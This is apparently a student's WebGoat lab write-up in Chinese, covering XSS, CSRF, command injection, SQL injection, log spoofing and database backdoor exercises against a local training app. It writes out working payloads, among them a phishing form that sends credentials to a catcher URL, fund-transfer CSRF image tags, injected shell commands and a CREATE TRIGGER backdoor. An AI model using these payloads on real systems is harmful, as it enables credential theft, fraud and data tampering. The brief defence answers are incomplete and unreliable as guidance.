20155233 刘高乐 Exp9 Web安全基础

最新推荐文章于 2024-10-11 21:15:26 发布

dayang1122334

最新推荐文章于 2024-10-11 21:15:26 发布

阅读量206

点赞数

文章标签： web安全 java javascript ViewUI

原文链接：http://www.cnblogs.com/l20155233/p/9084869.html

版权

WebGoat

输入java -jar webgoat-container-7.1-exec.jar

在浏览器输入localhost:8080/WebGoat，进入WebGoat开始实验

Cross-Site Scripting（XSS）练习

1.Phishing with XSS （网路钓鱼）

在搜索框中输入XSS攻击代码，利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form，让受害人在我们创建的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，完整的XSS攻击代码如下：

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中输入攻击代码后点击搜索，会看到一个要求输入用户名密码的表单，如图所示：

输入用户名密码，点击登录，WebGoat会将你输入的信息捕获并反馈给你：

2.Stored XSS Attacks

创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容，输入标题，然后在message中输入一串代码，比如：
<script>alert("20155233 attack succeed!");</script>

提交后，再次点击刚刚创建的帖子，成功弹出窗口，说明攻击成功：

3.Reflected XSS Attacks

当我们输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展示给我们看：

这时如果我们将带有攻击性的URL作为输入源，例如依旧输入<script>alert("20155233 attack succeed!");</script>，就会弹出对话框：

存储型XSS是持久化的，代码是存储在服务器中，比较典型的例子就是上面所用的留言板；
反射型XSS攻击是非持久化的，应用的场景比如欺骗用户自己去点击链接才能触发XSS代码，也就是说它的代码是不存在服务器中的。

4.Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击，从而触发CSRF攻击，通过图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。

我们在message框中输入这样一串代码：<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">

5.CSRF Prompt By-Pass

内容和前者相似，只不过这次需要确认转账，首先编辑内容<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=500" width="1" height="1">
在浏览器中输入URL：localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM

点击CONFIRM按钮，再在浏览器中输入URL：http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM，成功转走了5000元：

Injection Flaws练习

6.Command Injection

点击右上角小虫对源码进行修改，例如在BackDoors.help旁边加上"& netstat -an & ipconfig"：

之后在下拉菜单中能看到我们修改后的值：

选中修改后的值再点view，可以看到命令被执行，出现系统网络连接情况：

7.Numeric SQL Injection

通过注入SQL字符串的方式查看所有的天气数据，加上一个1=1这种永真式即可达到我们的目的，利用firebug，在任意一个值比如101旁边加上or 1=1：

选中Columbia，点Go，可以看到所有天气数据：

8.Log Spoofing

我们输入的用户名会被追加到日志文件中，所以我们可以使用障眼法来使用户名为admin的用户在日志中显示“成功登录”，在User Name文本框中输入20155233%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符：

上图可显示我们攻击成功。

9.String SQL Injection

构造SQL注入字符串，在文本框中输入' or 1=1 --：

点击GO，可以查看到所以信息：

10.LAB:SQL Injection(Stage 1:String SQL Injection)

查看输入框最大长度并修改长度：

以用户John登录，在密码栏中输入' or 1=1 --进行SQL注入：

11.Database Backdoors

先输一个101，得到了该用户的信息：

可以发现输入的语句没有验证，很容易进行SQL注入，输入注入语句：101; update employee set salary=100000，成功把该用户的工资涨到了100000：

接下来使用语句101;CREATE TRIGGER lglBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155233@xx.com' WHERE userid = NEW.userid创建一个后门，把表中所有的邮箱和用户ID都设为我的：

基础问题回答

SQL注入攻击原理，如何防御？
- 答：SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意SQL命令的目的。
- 对于SQL注入攻击的防范：使用正则表达式过滤传入的参数，字符串过滤，jsp中调用该函数检查是否包函非法字符。
XSS攻击的原理，如何防御？
- 答：XSS是代码注入的一种，它允许恶意用户将代码注入到网页上，并能够被浏览器成功的执行，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是，想办法获取目标攻击网站的cookie，因为有了cookie相当于有了seesion，有了这些信息就可以在任意能接进互联网的pc登陆该网站，并以其他人的身份登陆，做一些破坏。

XSS的防御可以从以下两方面来进行：一种方法是在表单提交或者url参数传递前，对需要的参数进行过滤；检查用户输入的内容中是否有非法内容，如尖括号、引号等，严格控制输出。